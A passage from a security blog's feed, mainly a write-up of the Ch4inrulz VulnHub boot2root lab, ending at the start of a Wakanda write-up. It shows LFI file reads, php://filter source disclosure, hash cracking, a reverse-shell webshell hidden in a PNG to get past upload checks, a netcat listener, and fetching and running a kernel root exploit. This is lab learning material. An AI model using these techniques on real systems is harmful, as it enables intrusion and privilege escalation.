&lt;p&gt;It looks like the hashed password is stored in /etc/.htpasswd. Let’s pull that down:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --form POST  http://172.16.27.142:8011/api/files_api.php file=/etc/.htpasswd
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 125
Content-Type: text/html
Date: Sun, 19 Aug 2018 22:38:35 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Excellent. Let’s see if we can crack that.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# echo &apos;frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0&apos; &amp;gt; hashes
root@kali:~/pwn# john hashes
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)
root@kali:~/pwn# john --show hashes
frank:frank!!!

1 password hash cracked, 0 left
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So that password for frank is frank!!!. With that information I could now check out the development page.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --auth &apos;frank:frank!!!&apos; http://172.16.27.142/development/
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 131
Content-Type: text/html
Date: Sun, 19 Aug 2018 22:40:30 GMT
ETag: &quot;100dd2-90-569cf89f67548&quot;
Keep-Alive: timeout=5, max=100
Last-Modified: Sat, 14 Apr 2018 14:09:37 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding

&amp;lt;title&amp;gt;my Development tools&amp;lt;/title&amp;gt;
&amp;lt;b&amp;gt;* Here is my unfinished tools list&amp;lt;/b&amp;gt;

&amp;lt;h4&amp;gt;- the uploader tool (finished but need security review)&amp;lt;/h4&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The uploader tool is surprisingly called, uploader, and is located at http://172.16.27.142/development/uploader/&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --auth &apos;frank:frank!!!&apos; http://172.16.27.142/development/uploader/
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 523
Content-Type: text/html
Date: Sun, 19 Aug 2018 23:29:03 GMT
ETag: &quot;100d1d-4a3-569c414cdf059&quot;
Keep-Alive: timeout=5, max=100
Last-Modified: Sat, 14 Apr 2018 00:29:27 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;!-- Bootstrap core CSS --&amp;gt;
    &amp;lt;link href=&quot;../vendor/bootstrap/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;

    &amp;lt;!-- Custom fonts for this template --&amp;gt;
    &amp;lt;link href=&quot;https://fonts.googleapis.com/css?family=Saira+Extra+Condensed:100,200,300,400,500,600,700,800,900&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link href=&quot;https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link href=&quot;../vendor/font-awesome/css/font-awesome.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link href=&quot;../vendor/devicons/css/devicons.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link href=&quot;../vendor/simple-line-icons/css/simple-line-icons.css&quot; rel=&quot;stylesheet&quot;&amp;gt;

    &amp;lt;!-- Custom styles for this template --&amp;gt;
    &amp;lt;link href=&quot;../css/resume.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;


&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;

&amp;lt;h2&amp;gt;Frank Uploader Script beta version&amp;lt;/h2&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;hr&amp;gt;

&amp;lt;form action=&quot;upload.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;p&amp;gt;Select image to upload:&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;fileToUpload&quot; id=&quot;fileToUpload&quot;&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Upload Image&quot; name=&quot;submit&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;b&amp;gt;TODO : script security &quot;50% FINISHED&quot;&amp;lt;/b&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it calls upload.php to upload an image onto the server. At this point I’m thinking it’s probably possible to somehow upload a webshell onto the server using this utility. It would be useful to know what upload.php does though:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --form POST  http://172.16.27.142:8011/api/files_api.php file=/var/www/development/uploader/upload.php
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 149
Content-Type: text/html
Date: Sun, 19 Aug 2018 23:33:25 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

Sorry, only JPG, JPEG, PNG &amp;amp; GIF files are allowed.Sorry, your file was not uploaded.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That didn’t work. Perhaps with PHP filters instead:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --form POST  http://172.16.27.142:8011/api/files_api.php file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 1018
Content-Type: text/html
Date: Sun, 19 Aug 2018 23:33:22 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.10-1ubuntu3.26

&amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;franks website | simple website browser API&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Much better. Base64 decoding that string reveals the contents of the php file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php
$target_dir = &quot;FRANKuploads/&quot;;
$target_file = $target_dir . basename($_FILES[&quot;fileToUpload&quot;][&quot;name&quot;]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST[&quot;submit&quot;])) {
    $check = getimagesize($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;]);
    if($check !== false) {
        echo &quot;File is an image - &quot; . $check[&quot;mime&quot;] . &quot;.&quot;;
        $uploadOk = 1;
    } else {
        echo &quot;File is not an image.&quot;;
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo &quot;Sorry, file already exists.&quot;;
    $uploadOk = 0;
}
// Check file size
if ($_FILES[&quot;fileToUpload&quot;][&quot;size&quot;] &amp;gt; 500000) {
    echo &quot;Sorry, your file is too large.&quot;;
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != &quot;jpg&quot; &amp;amp;&amp;amp; $imageFileType != &quot;png&quot; &amp;amp;&amp;amp; $imageFileType != &quot;jpeg&quot;
&amp;amp;&amp;amp; $imageFileType != &quot;gif&quot; ) {
    echo &quot;Sorry, only JPG, JPEG, PNG &amp;amp; GIF files are allowed.&quot;;
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo &quot;Sorry, your file was not uploaded.&quot;;
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;], $target_file)) {
        echo &quot;The file &quot;. basename( $_FILES[&quot;fileToUpload&quot;][&quot;name&quot;]). &quot; has been uploaded to my uploads path.&quot;;
    } else {
        echo &quot;Sorry, there was an error uploading your file.&quot;;
    }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So basically it uses getimagesize() to determine if the file being uploaded is an image, and then it checks if the file is under a certain size, and finally, whether it had an image extension; in this case jpg, jpeg, png, or gif. It’s easy to get around these checks. I just had to concatenate my PHP webshell into a legitimate image and then upload it. In this case I opted to use /usr/share/webshells/php/php-reverse-shell.php in Kali Linux. I updated it to connect back to my Kali instance on port 443. I just searched for some PNG file on my system and chose to append the PHP webshell to that.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# cp /etc/alternatives/start-here-32.png shell.png
root@kali:~/pwn# cat /usr/share/webshells/php/php-reverse-shell.php &amp;gt;&amp;gt; shell.png
root@kali:~/pwn# file shell.png
shell.png: PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once that was done, I went ahead and uploaded the file. The following text indicated that it was accepted:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;File is an image - image/png.The file shell.png has been uploaded to my uploads path. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Based on the upload.php source code, we see that it uploads it to FRANKuploads. So let’s have a look:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --auth &apos;frank:frank!!!&apos; http://172.16.27.142/development/uploader/FRANKuploads/
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 472
Content-Type: text/html;charset=UTF-8
Date: Mon, 20 Aug 2018 02:15:10 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding

&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&amp;gt;
&amp;lt;html&amp;gt;
 &amp;lt;head&amp;gt;
  &amp;lt;title&amp;gt;Index of /development/uploader/FRANKuploads&amp;lt;/title&amp;gt;
 &amp;lt;/head&amp;gt;
 &amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Index of /development/uploader/FRANKuploads&amp;lt;/h1&amp;gt;
&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;&amp;lt;img src=&quot;/icons/blank.gif&quot; alt=&quot;[ICO]&quot;&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a href=&quot;?C=N;O=D&quot;&amp;gt;Name&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a href=&quot;?C=M;O=A&quot;&amp;gt;Last modified&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a href=&quot;?C=S;O=A&quot;&amp;gt;Size&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a href=&quot;?C=D;O=A&quot;&amp;gt;Description&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th colspan=&quot;5&quot;&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;img src=&quot;/icons/back.gif&quot; alt=&quot;[DIR]&quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;/development/uploader/&quot;&amp;gt;Parent Directory&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td align=&quot;right&quot;&amp;gt;  - &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;img src=&quot;/icons/image2.gif&quot; alt=&quot;[IMG]&quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&quot;shell.png&quot;&amp;gt;shell.png&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td align=&quot;right&quot;&amp;gt;19-Aug-2018 19:13  &amp;lt;/td&amp;gt;&amp;lt;td align=&quot;right&quot;&amp;gt;6.6K&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;th colspan=&quot;5&quot;&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;address&amp;gt;Apache/2.2.22 (Ubuntu) Server at 172.16.27.142 Port 80&amp;lt;/address&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok it looks a bit messy, but we can see that my uploaded shell.png is on there. Downloading the image isn’t going to trigger the PHP file, but reading its contents will. This can be done through the local file inclusion vulnerability. First off, I started a netcat listener on port 443 to catch incoming reverse shell. Then pulled down the file’s contents to execute the PHP shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# http --form POST  http://172.16.27.142:8011/api/files_api.php file=/var/www/development/uploader/FRANKuploads/shell.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And sure enough on my netcat listener I received a non-privileged user shell as www-data:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# nc -lvp 443
listening on [any] 443 ...
172.16.27.142: inverse host lookup failed: Unknown host
connect to [172.16.27.143] from (UNKNOWN) [172.16.27.142] 41275
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
 19:17:25 up  6:27,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can&apos;t access tty; job control turned off
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first flag can be found in /home/frank:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls -l /home/frank
total 8
-rw-r--r-- 1 frank frank 29 Apr 14 07:37 PE.txt
-rw-r--r-- 1 frank frank 33 Apr 14 07:36 user.txt
$ cat /home/frank/user.txt
4795aa2a9be22fac10e1c25794e75c1b
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There was also a /home/frank/PE.txt. No idea what it was for. Maybe it was a hint on how to proceed, I don’t know:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat /home/frank/PE.txt
Try it as fast as you can ;)
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I started enumerating the system from the inside and found that it was running a super old version of Ubuntu.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ uname -a
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
$ lsb_release -a
Distributor ID: Ubuntu
Description:    Ubuntu maverick (development branch)
Release:        10.10
Codename:       maverick
No LSB modules are available.
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A kernel that old was surely vulnerable to some kind of kernel exploit. I used &lt;a href=&quot;https://github.com/manasmbellani/kernel-exploits&quot;&gt;https://github.com/manasmbellani/kernel-exploits&lt;/a&gt; to look for potential kernel exploits for this kernel version. The beauty of that repository is that it comes with pre-compiled exploits. Whether you choose to trust that or not is up to you. Since this is just a boot2root running in a host-only VM, I didn’t really care. First exploit I tried work, which was ptrace-kmod2-64. I’m sure some of the others there would have worked as well.&lt;/p&gt;

&lt;p&gt;I downloaded the pre-compiled binary to my Kali instance, setup a http listener with python, and downloaded it from the ch4inrulz VM. On Kali:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then on my reverse shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ wget http://172.16.27.143:8080/ptrace_kmod2-64
--2018-08-19 19:27:22--  http://172.16.27.143:8080/ptrace_kmod2-64
Connecting to 172.16.27.143:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 689999 (674K) [application/octet-stream]
Saving to: `ptrace_kmod2-64&apos;

     0K .......... .......... .......... .......... ..........  7% 21.8M 0s
    50K .......... .......... .......... .......... .......... 14% 36.3M 0s
   100K .......... .......... .......... .......... .......... 22% 20.9M 0s
   150K .......... .......... .......... .......... .......... 29% 95.4M 0s
   200K .......... .......... .......... .......... .......... 37% 14.3M 0s
   250K .......... .......... .......... .......... .......... 44% 81.5M 0s
   300K .......... .......... .......... .......... .......... 51%  412M 0s
   350K .......... .......... .......... .......... .......... 59% 19.8M 0s
   400K .......... .......... .......... .......... .......... 66% 35.3M 0s
   450K .......... .......... .......... .......... .......... 74% 56.8M 0s
   500K .......... .......... .......... .......... .......... 81% 18.1M 0s
   550K .......... .......... .......... .......... .......... 89%  183M 0s
   600K .......... .......... .......... .......... .......... 96%  312M 0s
   650K .......... .......... ...                             100%  247M=0.02s

2018-08-19 19:27:22 (35.6 MB/s) - `ptrace_kmod2-64&apos; saved [689999/689999]

$ chmod 755 ptrace_kmod2-64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, moment of truth.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./ptrace_kmod2-64
id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Success! Getting root on this machine was pretty easy. All that was left was to grab the final flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ls -l /root
total 4
-rw-r--r-- 1 root root 33 Apr 14 07:36 root.txt
cat /root/root.txt
8f420533b79076cc99e9f95a1a4e5568
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And that’s that! Ch4inrulz was a fairly easy challenge overall.&lt;/p&gt;
</description>
        <pubDate>Sun, 19 Aug 2018 07:52:29 +0000</pubDate>
        <link>http://blog.techorganic.com/2018/08/19/ch4inrulz-hacking-challenge/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2018/08/19/ch4inrulz-hacking-challenge/</guid>
      </item>
    
      <item>
        <title>Wakanda hacking challenge</title>
        <description>&lt;p&gt;It’s been a while since I’ve played with a VulnHub boot2root. Several new ones were recently pushed out, and having some free time on my hands, I decided to give &lt;a href=&quot;https://www.vulnhub.com/entry/wakanda-1,251/&quot;&gt;Wakanda&lt;/a&gt; a go. This VM contains three flags and was listed as having an intermediate difficulty level. Challenge accepted!&lt;/p&gt;

&lt;p&gt;I started off by using netdiscover to find the IP address of the VM, which turned out to be 192.168.56.102. A quick port scan returned two ports of interest; 80 and 3333:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/pwn# onetwopunch.sh -t target.txt -p tcp -n &apos;-sV -A&apos; -i eth0
                             _                                          _       _
  ___  _ __   ___           | |___      _____    _ __  _   _ _ __   ___| |__   / \
 / _ \| &apos;_ \ / _ \          | __\ \ /\ / / _ \  | &apos;_ \| | | | &apos;_ \ / __| &apos;_ \ /  /
| (_) | | | |  __/ ᕦ(ò_óˇ)ᕤ | |_ \ V  V / (_) | | |_) | |_| | | | | (__| | | /\_/
 \___/|_| |_|\___|           \__| \_/\_/ \___/  | .__/ \__,_|_| |_|\___|_| |_\/
                                                |_|
                                                                   by superkojiman

[+] Protocol : tcp
[+] Interface: eth0
[+] Nmap opts: -sV -A
[+] Targets  : target.txt
[+] Scanning 192.168.56.102 for tcp ports...
[+] Obtaining all open TCP ports using unicornscan...
[+] unicornscan -i eth0 -mT 192.168.56.102:a -l /root/.onetwopunch/udir/192.168.56.102-tcp.txt
[*] TCP ports for nmap to scan: 80,111,3333,57976,
[+] nmap -e eth0 -sV -A -oX /root/.onetwopunch/ndir/192.168.56.102-tcp.xml -oG /root/.onetwopunch/ndir/192.168.56.102-tcp.grep -p 80,111,3333,57976, 192.168.56.102
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-10 23:21 EDT
Nmap scan report for 192.168.56.102
Host is up (0.00050s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          57976/tcp  status
|_  100024  1          59389/udp  status
3333/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
|   2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
|   256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_  256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
57976/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
